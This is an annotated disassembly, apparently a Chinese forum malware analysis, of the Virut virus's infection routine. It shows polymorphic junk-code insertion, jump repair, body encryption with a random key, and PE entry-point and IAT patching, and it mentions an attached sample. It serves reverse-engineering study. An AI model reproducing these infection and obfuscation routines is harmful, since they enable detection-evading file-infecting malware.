seg007:7FF93575 loc_7FF93575: ; CODE XREF: infect+546j
seg007:7FF93575 ; infect+5D9j
seg007:7FF93575 C6 85 A1 45 F3 04+ mov byte ptr ss:(@set_junkcode_flag+1 - 7B05F000h)[ebp], 0ABh ; '? ; 修改指令为bts
seg007:7FF93575 AB ; 使7ff935a0处的指令变为bts
seg007:7FF9357C
seg007:7FF9357C @update_block_descript: ; CODE XREF: infect+5F1j
seg007:7FF9357C 8B 04 24 mov eax, [esp] ; 表处理的当前块的序号
seg007:7FF9357F 66 01 8C C5 7B 18+ add ss:(block0.aft_NumberOfOpcode - 7B05F000h)[ebp+eax*8], cx ; 计算变形后的长度
seg007:7FF93587 8D 57 FF lea edx, [edi-1] ; edx 当前感染后代码的结束地址
seg007:7FF9358A E3 1E jecxz short loc_7FF935AA ; 如果产生花指令的长度为0 即没有产生花指令 则不设置flag_arry
seg007:7FF9358C 2B 95 9A 60 F3 04 sub edx, ss:(virut_start_in_file_off - 7B05F000h)[ebp] ;
seg007:7FF9358C ; 获取当前变形代码相对于virut病毒感染起始地址的偏移
seg007:7FF9358C ; 该样本中病毒感染的起始位置为3a0600
seg007:7FF93592 3B 95 DD 1D F3 04 cmp edx, ss:(dword_7FF90DDD_value_is_4898 - 7B05F000h)[ebp]
seg007:7FF93598 76 06 jbe short @set_junkcode_flag ; 设置花指令标志位 edx为偏移 偏移是相对于body结束地址的
seg007:7FF9359A 81 EA 98 48 00 00 sub edx, 4898h ; 4898 body的大小
seg007:7FF9359A ; 相当于获取当前插过花的指令相对于3a4e98的offset
seg007:7FF9359A ; 因为3a0600从7ff902d4拷贝了4898个byte
seg007:7FF935A0
seg007:7FF935A0 @set_junkcode_flag: ; CODE XREF: infect+663j
seg007:7FF935A0 ; infect+673j
seg007:7FF935A0 ; DATA XREF: ...
seg007:7FF935A0 0F AB 95 75 1C F3+ bts ss:(flag_array - 7B05F000h)[ebp], edx ; 设置花指令标志位 edx为偏移 偏移是相对于body结束地址的
seg007:7FF935A7 4A dec edx ; 将对应的位置1
seg007:7FF935A8 E2 F6 loop @set_junkcode_flag ; 循环次数为当前变形指令的长度
seg007:7FF935AA
seg007:7FF935AA loc_7FF935AA: ; CODE XREF: infect+655j
seg007:7FF935AA 58 pop eax ; 当前块的序号
seg007:7FF935AB 59 pop ecx ; org_NumberOfOpcode,如果没有插入花指令
seg007:7FF935AB ; 每循环一次都要减去处理过的没有变形的指令长度
seg007:7FF935AC E9 ED FD FF FF jmp @jixu_bianxing_next_ins_of_current_block ; ecx = 当前块的还有多少个opcode要处理
seg007:7FF935B1 ; ---------------------------------------------------------------------------
seg007:7FF935B1
seg007:7FF935B1 @finished_this_block_bianxing: ; CODE XREF: infect+464j
seg007:7FF935B1 ; infect+46Bj
seg007:7FF935B1 59 pop ecx ; ecx = block_num = 9
seg007:7FF935B2 F6 84 C5 7C 18 F3+ test byte ptr ss:(block0.aft_NumberOfOpcode+1 - 7B05F000h)[ebp+eax*8], 80h ; 判断当前块最后一条指令是否是跳转
seg007:7FF935BA 75 0D jnz short loc_7FF935C9 ; 指令块处理完了
seg007:7FF935BC B0 EB mov al, 0EBh ; '? ; 看指令块 是不是以跳转指令或者ret结尾的
seg007:7FF935BE AA stosb ; 写入eb
seg007:7FF935BF 83 C8 FF or eax, 0FFFFFFFFh
seg007:7FF935C2 E8 9C E0 FF FF call random ; 随机0~eax-1
seg007:7FF935C7 92 xchg eax, edx ; 不是的话 需要用JMP 来链接乱序后的指令块
seg007:7FF935C8 AB stosd ; 存入随机dword
seg007:7FF935C9
seg007:7FF935C9 loc_7FF935C9: ; CODE XREF: infect+685j
seg007:7FF935C9 FE C9 dec cl ; block_num --
seg007:7FF935CB 0F 85 5A FD FF FF jnz @next_block_bianxing ; block_num
seg007:7FF935D1
5)修复跳转指令 跟据RELOC_Info和BLOCK_info数组的描述来修复
其中遇到0f 8x 如果是短跳的话要 变成7x
在这个过程中多出了4个byte的空间 用花指令来填充
seg007:7FF935D1 @chahua_jieshu: ; 全部的指令块都处理完了后
seg007:7FF935D1 8B D7 mov edx, edi ; edi = 处理完最后一块的地址为3a5309
seg007:7FF935D3 2B 95 9A 60 F3 04 sub edx, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF935D9 开始时ecx = 0
seg007:7FF935D9 89 95 D9 1D F3 04 mov ss:(virus_code_length - 7B05F000h)[ebp], edx ; 更新virut_length
seg007:7FF935DF
seg007:7FF935DF @next_reloc: ; CODE XREF: infect+7A7j
seg007:7FF935DF 0F B7 84 29 ED 1D+ movzx eax, ds:(reloc.TarOffset - 7B05F000h)[ecx+ebp] ; 开始修补 JMP指令后的操作数
seg007:7FF935E7 E8 40 F8 FF FF call func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF935EC 50 push eax ; eax = 跳转指令目的地址的偏移转换为变形后的偏移
seg007:7FF935ED 0F B7 84 29 EB 1D+ movzx eax, ds:(reloc.NexOffset - 7B05F000h)[ecx+ebp]
seg007:7FF935F5 48 dec eax ; 跳转指令 下一条指令的偏移减一
seg007:7FF935F6 E8 31 F8 FF FF call func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF935FB 40 inc eax ; 跳转指令 下一条指令的偏移转换为变形后的偏移
seg007:7FF935FC 29 04 24 sub [esp], eax ; 变形后的nexoffset - taroffset 生成跳转操作数
seg007:7FF935FF 0F B7 84 29 E9 1D+ movzx eax, word ptr ds:(reloc.org_offset - 7B05F000h)[ecx+ebp] ; eax = 0xa
seg007:7FF93607 E8 20 F8 FF FF call func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF9360C 0F B7 B4 29 EB 1D+ movzx esi, ds:(reloc.NexOffset - 7B05F000h)[ecx+ebp]
seg007:7FF93614 8B D6 mov edx, esi
seg007:7FF93616 66 2B 94 29 E9 1D+ sub dx, word ptr ds:(reloc.org_offset - 7B05F000h)[ecx+ebp] ; 变形前nexoffset - org_offset
seg007:7FF93616 F3 04 ; dx为跳转的操作数的占用了几个byte
seg007:7FF9361E 03 85 9A 60 F3 04 add eax, ss:(virut_start_in_file_off - 7B05F000h)[ebp] ; 跳转指令操作数 变形后在virut中的va
seg007:7FF93624 8F 00 pop dword ptr [eax] ; 写入跳转操作数
seg007:7FF93626 66 83 FA 04 cmp dx, 4 ; 跳转操作数是个dword?
seg007:7FF9362A 0F 85 A3 00 00 00 jnz @next_reloc_ ; 没有跳
seg007:7FF93630 81 F9 F0 00 00 00 cmp ecx, 0F0h ; '? ; 当前处理跳转block的序号 从0开始
seg007:7FF93636 0F 83 97 00 00 00 jnb @next_reloc_
seg007:7FF9363C 判断操作码
seg007:7FF9363C 80 78 FF E9 cmp byte ptr [eax-1], 0E9h ; '? ; 判断是不是jmp
seg007:7FF93640 B2 03 mov dl, 3
seg007:7FF93642 74 18 jz short @is_jmp ; 获取跳转范围 如果是e9 则dl为3 如果是0f 8x 则dl为4
seg007:7FF93644 80 78 FF 80 cmp byte ptr [eax-1], 80h ; '€'
seg007:7FF93648 0F 82 85 00 00 00 jb @next_reloc_
seg007:7FF9364E 80 78 FF 8F cmp byte ptr [eax-1], 8Fh ; '?
seg007:7FF93652 77 7F ja short @next_reloc_
seg007:7FF93654 80 78 FE 0F cmp byte ptr [eax-2], 0Fh
seg007:7FF93658 75 79 jnz short @next_reloc_
seg007:7FF9365A B2 04 mov dl, 4 ; 是0f 8x 类型的跳转
seg007:7FF9365C
seg007:7FF9365C @is_jmp: ; CODE XREF: infect+70Dj
seg007:7FF9365C 03 10 add edx, [eax] ; 获取跳转范围 如果是e9 则dl为3 如果是0f 8x 则dl为4
seg007:7FF9365E 83 FA 80 cmp edx, 0FFFFFF80h
seg007:7FF93661 7C 70 jl short @next_reloc_
seg007:7FF93663 83 FA 7F cmp edx, 7Fh ; '' ; 确保是短跳转
seg007:7FF93666 7F 6B jg short @next_reloc_
seg007:7FF93668 80 FA EB cmp dl, 0EBh ; '? ; 如果跳转的偏移是e8 e9 eb则不进行修改
seg007:7FF9366B 74 66 jz short @next_reloc_
seg007:7FF9366D 80 FA E8 cmp dl, 0E8h ; '?
seg007:7FF93670 74 61 jz short @next_reloc_
seg007:7FF93672 80 FA E9 cmp dl, 0E9h ; '?
seg007:7FF93675 74 5C jz short @next_reloc_
seg007:7FF93677 FF B5 9E 60 F3 04 push ss:(number_of_chahua - 7B05F000h)[ebp] ; 保存一下
seg007:7FF9367D C7 85 9E 60 F3 04+ mov ss:(number_of_chahua - 7B05F000h)[ebp], 3 ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF93687 80 78 FF E9 cmp byte ptr [eax-1], 0E9h ; '?
seg007:7FF9368B 9C pushf
seg007:7FF9368C 83 D8 00 sbb eax, 0 ; 如果是0f 8x 这里cf 为1 相当于sub eax, 1
seg007:7FF9368C ; 否则eax不变
seg007:7FF9368C ; 记得减去cf标志位的值
seg007:7FF9368F C6 40 FF EB mov byte ptr [eax-1], 0EBh ; '? ; 如果0f xx 后面的xx 《 e9 修改0f为eb
seg007:7FF9368F ; 修改跳转为短跳转 jmp
seg007:7FF93693 86 10 xchg dl, [eax] ; 修改跳转操作数
seg007:7FF93695 9D popf
seg007:7FF93696 73 0C jnb short loc_7FF936A4
seg007:7FF93698 80 EA 10 sub dl, 10h ; 如果0f xx 后面的xx 《 e9
seg007:7FF9369B 88 50 FF mov [eax-1], dl ; 8x变为7x
seg007:7FF9369E FF 85 9E 60 F3 04 inc ss:(number_of_chahua - 7B05F000h)[ebp] ; 变为4
seg007:7FF936A4
seg007:7FF936A4 loc_7FF936A4: ; CODE XREF: infect+761j
seg007:7FF936A4 81 C6 00 10 F3 04 add esi, 4F31000h
seg007:7FF936AA 51 push ecx
seg007:7FF936AB 8D 78 01 lea edi, [eax+1] ; edi为7x yy后面的地址 因为0f 8x 占用6个字节 这里要进行插花
seg007:7FF936AE 03 F5 add esi, ebp ; esi = 7FF901D6
seg007:7FF936B0
seg007:7FF936B0 loc_7FF936B0: ; CODE XREF: infect+795j
seg007:7FF936B0 57 push edi
seg007:7FF936B1 E8 6A F2 FF FF call func_chahua
seg007:7FF936B6 59 pop ecx ; 刚写入花指令的地址
seg007:7FF936B7 29 BD 9E 60 F3 04 sub ss:(number_of_chahua - 7B05F000h)[ebp], edi ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF936BD 01 8D 9E 60 F3 04 add ss:(number_of_chahua - 7B05F000h)[ebp], ecx ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF936C3 83 BD 9E 60 F3 04+ cmp ss:(number_of_chahua - 7B05F000h)[ebp], 0 ; 还有没剩余空间去插花
seg007:7FF936CA 7F E4 jg short loc_7FF936B0 ; 0f 8x类的跳转 如果为短跳 则改为7x 然后用花指令填充剩下的空间
seg007:7FF936CC 59 pop ecx
seg007:7FF936CD 8F 85 9E 60 F3 04 pop ss:(number_of_chahua - 7B05F000h)[ebp] ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF936D3
seg007:7FF936D3 @next_reloc_: ; CODE XREF: infect+6F5j
seg007:7FF936D3 ; infect+701j ...
seg007:7FF936D3 83 C1 06 add ecx, 6
seg007:7FF936D6 81 F9 08 01 00 00 cmp ecx, 108h
seg007:7FF936DC 0F 82 FD FE FF FF jb @next_reloc ;
6)修复块与块之间的跳转 用jmp连接 前面是按照长跳转连接的 如果最后计算跳转跳转时是短跳转 则会在多余的空间内插花
seg007:7FF936E2 8B BD 9A 60 F3 04 mov edi, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF936E8 8D B5 75 18 F3 04 lea esi, (block0.org_NumberOfOpcode - 7B05F000h)[ebp]
seg007:7FF936EE 03 BD DD 1D F3 04 add edi, ss:(dword_7FF90DDD_value_is_4898 - 7B05F000h)[ebp] ; 这里加上了0
seg007:7FF936F4 68 74 05 00 00 push 574h
seg007:7FF936F9 81 C7 A1 05 00 00 add edi, 5A1h ; 003A0BA1 = 3a0600 + 5a1
seg007:7FF936FF 59 pop ecx ; ecx = 574
seg007:7FF93700 F3 A4 rep movsb ; 复制block结构数组 7FF90875 -> 3a0ba1 size 574
seg007:7FF93702 33 C9 xor ecx, ecx
seg007:7FF93704
seg007:7FF93704 @next_block_: ; CODE XREF: infect+856j
seg007:7FF93704 F6 84 CD 7C 18 F3+ test byte ptr ss:(block0.aft_NumberOfOpcode+1 - 7B05F000h)[ebp+ecx*8], 80h
seg007:7FF9370C 75 75 jnz short @next_block_for_fix_jmp
seg007:7FF9370E 修复块与块之间的JMP即刚刚添加的JMP指令操作数 因为前面如果块结尾的指令不是
seg007:7FF9370E jmp或者ret 直接在块结尾插入了jmp 操作数为随机的dword 这里要修复
seg007:7FF9370E 0F B7 94 CD 7B 18+ movzx edx, ss:(block0.aft_NumberOfOpcode - 7B05F000h)[ebp+ecx*8]
seg007:7FF93716 0F B7 84 CD 79 18+ movzx eax, ss:(block0.aft_offsetStart - 7B05F000h)[ebp+ecx*8]
seg007:7FF9371E 81 E2 FF 7F 00 00 and edx, 7FFFh
seg007:7FF93724 8D 44 02 02 lea eax, [edx+eax+2] ; eax = 当前块的art_NumberOfOpcode + aft_offsetStart + 2
seg007:7FF93728 0F B7 94 CD 81 18+ movzx edx, ss:(block1.aft_offsetStart - 7B05F000h)[ebp+ecx*8]
seg007:7FF93730 2B D0 sub edx, eax ; 下一块的aft_offsetStart - (当前块的art_NumberOfOpcode + aft_offsetStart + 2)
seg007:7FF93732 03 85 9A 60 F3 04 add eax, ss:(virut_start_in_file_off - 7B05F000h)[ebp] ; eax指向eb的地址+2
seg007:7FF93738 83 FA 80 cmp edx, 0FFFFFF80h
seg007:7FF9373B 7C 3C jl short @long_jmp
seg007:7FF9373D 83 FA 7F cmp edx, 7Fh ; '' ; 跳转的范围
seg007:7FF93740 7F 37 jg short @long_jmp
seg007:7FF93742 88 50 FF mov [eax-1], dl ; 存放短跳转操作数
seg007:7FF93745 8B F8 mov edi, eax ; 准备插入花指令的位置
seg007:7FF93747 51 push ecx
seg007:7FF93748 FF B5 9E 60 F3 04 push ss:(number_of_chahua - 7B05F000h)[ebp] ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF9374E C7 85 9E 60 F3 04+ mov ss:(number_of_chahua - 7B05F000h)[ebp], 3 ; 要添加花指令的长度为3
seg007:7FF93758
seg007:7FF93758 @added_hua_loop: ; CODE XREF: infect+839j
seg007:7FF93758 57 push edi
seg007:7FF93759 83 C9 FF or ecx, 0FFFFFFFFh
seg007:7FF9375C E8 E6 F1 FF FF call @chahua_info_flag_found ; 0x5a8
seg007:7FF93761 59 pop ecx
seg007:7FF93762 01 8D 9E 60 F3 04 add ss:(number_of_chahua - 7B05F000h)[ebp], ecx ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF93768 29 BD 9E 60 F3 04 sub ss:(number_of_chahua - 7B05F000h)[ebp], edi ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF9376E 77 E8 ja short @added_hua_loop
seg007:7FF93770 8F 85 9E 60 F3 04 pop ss:(number_of_chahua - 7B05F000h)[ebp] ; 该块插入花指令后 加上原来指令的总长度
seg007:7FF93776 59 pop ecx
seg007:7FF93777 EB 0A jmp short @next_block_for_fix_jmp
seg007:7FF93779 ; ---------------------------------------------------------------------------
seg007:7FF93779
seg007:7FF93779 @long_jmp: ; CODE XREF: infect+806j
seg007:7FF93779 ; infect+80Bj
seg007:7FF93779 83 EA 03 sub edx, 3
seg007:7FF9377C C6 40 FE E9 mov byte ptr [eax-2], 0E9h ; '? ; 范围太大 修改指令为长跳转
seg007:7FF93780 89 50 FF mov [eax-1], edx ; 写入长跳转操作数
seg007:7FF93783
seg007:7FF93783 @next_block_for_fix_jmp: ; CODE XREF: infect+7D7j
seg007:7FF93783 ; infect+842j
seg007:7FF93783 FE C1 inc cl
seg007:7FF93785 3A 8D 74 18 F3 04 cmp cl, ss:(block_counter - 7B05F000h)[ebp]
seg007:7FF9378B 0F 82 73 FF FF FF jb @next_block_
7)更新解密body用的key
seg007:7FF93791 B8 FF FF 00 00 mov eax, 0FFFFh
seg007:7FF93796 E8 C8 DE FF FF call random ; 随机0~eax-1
seg007:7FF9379B 42 inc edx
seg007:7FF9379C 52 push edx
seg007:7FF9379D B8 9B 01 00 00 mov eax, 19Bh ; 由此可见解密的key存放在 变形前 + 19b的位置
seg007:7FF937A2 E8 85 F6 FF FF call func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF937A7 03 85 9A 60 F3 04 add eax, ss:(virut_start_in_file_off - 7B05F000h)[ebp] ; 定位到变形后的地方
seg007:7FF937AD 5A pop edx
seg007:7FF937AE 66 89 10 mov [eax], dx ; 更新key
seg007:7FF937B1 0F B7 8D 79 18 F3+ movzx ecx, ss:(block0.aft_offsetStart - 7B05F000h)[ebp]
seg007:7FF937B8 8B 85 DD 1D F3 04 mov eax, ss:(dword_7FF90DDD_value_is_4898 - 7B05F000h)[ebp] ; 为0
seg007:7FF937BE 03 8D AA 60 F3 04 add ecx, ss:(infectsection_voffset_jia_sizeofrawdata - 7B05F000h)[ebp] ;
seg007:7FF937BE ; ecx = block0.aft_offsetStart + infectsection_voffset_jia_sizeofrawdata
seg007:7FF937C4 03 85 9A 60 F3 04 add eax, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF937CA 89 8D D2 60 F3 04 mov ss:(new_oep - 7B05F000h)[ebp], ecx ; 跟新感染入口 实际上其代码为第一个块的代码
seg007:7FF937D0 B9 88 48 00 00 mov ecx, 4888h
seg007:7FF937D5
seg007:7FF937D5 @encrypt: ; CODE XREF: infect+8ADj
seg007:7FF937D5 00 30 add [eax], dh ; 加密body
seg007:7FF937D7 69 D2 FB 03 00 00 imul edx, 3FBh
seg007:7FF937DD 30 10 xor [eax], dl
seg007:7FF937DF 86 D6 xchg dl, dh
seg007:7FF937E1 40 inc eax
seg007:7FF937E2 E2 F1 loop @encrypt ; 加密body
seg007:7FF937E4 E8 51 F0 FF FF call func_filealig
seg007:7FF937E9 FE 85 CD 61 F3 04 inc ss:(byte_7FF951CD - 7B05F000h)[ebp]
seg007:7FF937EF 66 83 A5 47 4C F3+ and word ptr ss:(loc_7FF93C44+3 - 7B05F000h)[ebp], 0
seg007:7FF937F7 F7 85 1A 3E F3 04+ test ss:(dword_7FF92E1A_value_1b0 - 7B05F000h)[ebp], 2 决定是否要在入口节末尾插入代码,用来解密添加的代码
seg007:7FF93801 0F 84 51 03 00 00 jz @motify_rukou_infection ; 跳了
8)前面说过:
control 是否包含0x4
决定了是否需要在入口代码节剩余空间加入解密添加的病毒代码 如果这里添加了解密代码就要在后面对添加的代码进行加密
实际添加的代码如下:reg是随机选的
push (added_virus_code_length - 2) & 0xfffffffe 偶数对齐
clc
pop reg
loop_decode:
adc 或者add word ptr [ecx+added_code_startva], ransom_word (随机word) added_code_startva添加的病毒代码起始虚拟地址
sub reg,2
jge loop_decode
然后把上面的指令分成5组
push (added_virus_code_length - 2) & 0xfffffffe 偶数对齐
clc
这两条指令为一组
剩下一条一组
首先会产生产生5个块 将上面的五组指令隐藏在花指令块中
接下来会用jmp将这些块连接起来,最后一块跳向添加的病毒代码
这里面有一个特殊的指令
jge
0f 8d xxxxxxxx
会变变成7d xx 余下的4个byte插入花指令
过程和前面分块 插花差不多 代码就不贴了
9)感染方式1:修改入口
方式2:patch api调用call dword ptr[api] 变成了 jmp virut
jmp dword ptr[api] jmp virut
seg007:7FF93B58 @motify_rukou_infection: ; CODE XREF: infect+8CCj
seg007:7FF93B58 ; infect+8E6j ...
seg007:7FF93B58 5A pop edx ; edx指向被感染文件的节表中的最后一个节
seg007:7FF93B59 8B 8D 52 60 F3 04 mov ecx, ss:(filealig_infectedcodesize - 7B05F000h)[ebp]
seg007:7FF93B5F 8B B5 4E 60 F3 04 mov esi, ss:(hmapview_infected_file - 7B05F000h)[ebp]
seg007:7FF93B65
seg007:7FF93B65 loc_7FF93B65: ; DATA XREF: infect+63r
seg007:7FF93B65 68 5C 41 E0 D2 push 0D2E0415Ch ; 感染标记dword
seg007:7FF93B6A 8F 43 08 pop dword ptr [ebx+8] ; pe头偏移为8的地方写入了一个随机的dword
seg007:7FF93B6D 01 4A 10 add [edx+IMAGE_SECTION_HEADER.SizeOfRawData], ecx ; 增加节的大小
seg007:7FF93B70 83 63 58 00 and [ebx+IMAGE_NT_HEADERS.OptionalHeader.CheckSum], 0
seg007:7FF93B74 8B 85 5A 60 F3 04 mov eax, ss:(imagealig__infectedcodesize - 7B05F000h)[ebp]
seg007:7FF93B7A 01 42 08 add [edx+IMAGE_SECTION_HEADER.Misc.VirtualSize], eax
seg007:7FF93B7D 8B 4A 0C mov ecx, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
seg007:7FF93B80 01 43 50 add [ebx+IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage], eax
seg007:7FF93B83 39 8B 88 00 00 00 cmp [ebx+S_PE_HEADER.resource_table_RVA], ecx ; ebx + 88指向rva of resource directory
seg007:7FF93B89 75 09 jnz short loc_7FF93B94 ; rva of base relocation directory 清零
seg007:7FF93B8B FF 72 08 push [edx+S_PE_SECTION.virtual_size]
seg007:7FF93B8E 8F 83 8C 00 00 00 pop [ebx+S_PE_HEADER.resource_table_size] ; 写到size of resource directory
seg007:7FF93B94
seg007:7FF93B94 loc_7FF93B94: ; CODE XREF: infect+C54j
seg007:7FF93B94 83 A3 A0 00 00 00+ and [ebx+S_PE_HEADER.reloc_table_RVA], 0 ; rva of base relocation directory 清零
seg007:7FF93B9B 83 A3 A4 00 00 00+ and [ebx+S_PE_HEADER.reloc_table_size], 0 ; size of base relocation directory清零
seg007:7FF93BA2 66 81 63 5E 3F FE and [ebx+IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics], 0FE3Fh
seg007:7FF93BA8 FF B5 BA 60 F3 04 push ss:(infectedfile_eop - 7B05F000h)[ebp]
seg007:7FF93BAE 68 0D 00 00 00 push 0Dh
seg007:7FF93BB3 58 pop eax ; 为了感染的程序 入口处的call能够获取返回地址
seg007:7FF93BB4 E8 73 F2 FF FF call func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF93BB9 40 inc eax
seg007:7FF93BBA 03 85 AA 60 F3 04 add eax, ss:(infectsection_voffset_jia_sizeofrawdata - 7B05F000h)[ebp]
seg007:7FF93BC0 29 04 24 sub [esp], eax ; oep -
seg007:7FF93BC0 ; (infectsection_voffset_jia_sizeofrawdata + 0d对应的变形后的偏移)
seg007:7FF93BC3 68 F9 00 00 00 push 0F9h ; '?
seg007:7FF93BC8 58 pop eax ; 写入dword的位置在变形前 +f9
seg007:7FF93BC9 E8 5E F2 FF FF call func_get_offset_bianxinghou ; 获取相对于感染起始位置的偏移
seg007:7FF93BCE 03 85 9A 60 F3 04 add eax, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF93BD4 8B 95 D2 60 F3 04 mov edx, ss:(new_oep - 7B05F000h)[ebp]
seg007:7FF93BDA 8F 00 pop dword ptr [eax] ; 是为了在感染程序入口处获取call后面的地址 达到返回的目的
这样找原来入口的方式为 virut开始处第一个call返回地址+ 刚刚pop的值
也就是xor ebp,xxx中的xxx
seg007:7FF93BDC 80 BD CC 60 F3 04+ cmp ss:(found_api_import - 7B05F000h)[ebp], 0FFh ; ff没找到 0找到 是否找到导入kernel的函数
seg007:7FF93BE3 75 05 jnz short loc_7FF93BEA
seg007:7FF93BE5 89 53 28 mov [ebx+IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint], edx
seg007:7FF93BE8 EB 1F jmp short loc_7FF93C09
seg007:7FF93BEA ; ---------------------------------------------------------------------------
seg007:7FF93BEA
seg007:7FF93BEA loc_7FF93BEA: ; CODE XREF: infect+CAEj
seg007:7FF93BEA 8B BD 4E 60 F3 04 mov edi, ss:(hmapview_infected_file - 7B05F000h)[ebp]
seg007:7FF93BF0 03 BD BA 60 F3 04 add edi, ss:(infectedfile_eop - 7B05F000h)[ebp]
seg007:7FF93BF6 03 BD A6 60 F3 04 add edi, ss:(pointertorawdata_Jian_virtualaddress - 7B05F000h)[ebp]
seg007:7FF93BFC B0 E9 mov al, 0E9h ; '?
seg007:7FF93BFE AA stosb
seg007:7FF93BFF 8D 42 FB lea eax, [edx-5]
seg007:7FF93C02 2B 85 BA 60 F3 04 sub eax, ss:(infectedfile_eop - 7B05F000h)[ebp]
seg007:7FF93C08 AB stosd ; patch iat调用为跳向添加的病毒代码 或者入口节添加的解密代码
seg007:7FF93C08 ; 003A0200 /E9 5B010000 jmp 003A0360
seg007:7FF93C08 ;
seg007:7FF93C08 ;
seg007:7FF93C09
seg007:7FF93C09 loc_7FF93C09: ; CODE XREF: infect+CB3j
seg007:7FF93C09 66 83 BD 47 4C F3+ cmp word ptr ss:(@encrypt_added_virus_code+3 - 7B05F000h)[ebp], 0 ; 这里操作可能是减 加或者减的数会被前面修改
seg007:7FF93C11 74 3B jz short loc_7FF93C4E
seg007:7FF93C13 8B 8D D9 1D F3 04 mov ecx, ss:(virus_code_length - 7B05F000h)[ebp]
seg007:7FF93C19 8B BD 9A 60 F3 04 mov edi, ss:(virut_start_in_file_off - 7B05F000h)[ebp]
seg007:7FF93C1F 80 E1 FE and cl, 0FEh ; 偶数对齐
seg007:7FF93C22 F7 85 1A 3E F3 04+ test ss:(control_flag - 7B05F000h)[ebp], 4
seg007:7FF93C2C 8D 7C 39 FE lea edi, [ecx+edi-2]
seg007:7FF93C30 74 09 jz short loc_7FF93C3B ; 与7FF93996处是对应的 一个解密 一个加密
seg007:7FF93C32 80 A5 46 4C F3 04+ and byte ptr ss:(@encrypt_added_virus_code+2 - 7B05F000h)[ebp], 0D7h ; 这里操作可能是减 加或者减的数会被前面修改
seg007:7FF93C39 EB 07 jmp short loc_7FF93C42
seg007:7FF93C3B ; ---------------------------------------------------------------------------
seg007:7FF93C3B
seg007:7FF93C3B loc_7FF93C3B: ; CODE XREF: infect+CFBj
seg007:7FF93C3B 80 8D 46 4C F3 04+ or byte ptr ss:(@encrypt_added_virus_code+2 - 7B05F000h)[ebp], 28h ; 这里操作可能是减 加或者减的数会被前面修改
seg007:7FF93C42
seg007:7FF93C42 loc_7FF93C42: ; CODE XREF: infect+D04j
seg007:7FF93C42 D1 E9 shr ecx, 1
seg007:7FF93C44
加密添加的病毒代码:
seg007:7FF93C44 @encrypt_added_virus_code: ; CODE XREF: infect+D17j
seg007:7FF93C44 ; DATA XREF: infect+CFDw ...
seg007:7FF93C44 66 81 07 00 00 add word ptr [edi], 0 ; 这里操作可能是减 加或者减的数会被前面修改
seg007:7FF93C49 83 EF 02 sub edi, 2
seg007:7FF93C4C E2 F6 loop @encrypt_added_virus_code ; 这里操作可能是减 加或者减的数会被前面修改
10)扫尾操作 UnmapViewOfFile SetFileTime SetEndOfFile等
附件密码virut
对于附件中idb:
我让virut注入到自身这样容易看,注入基址7FF90000
virut自己申请的空间基址00390000 用来解密body
感染的文件map的起始地址3a0000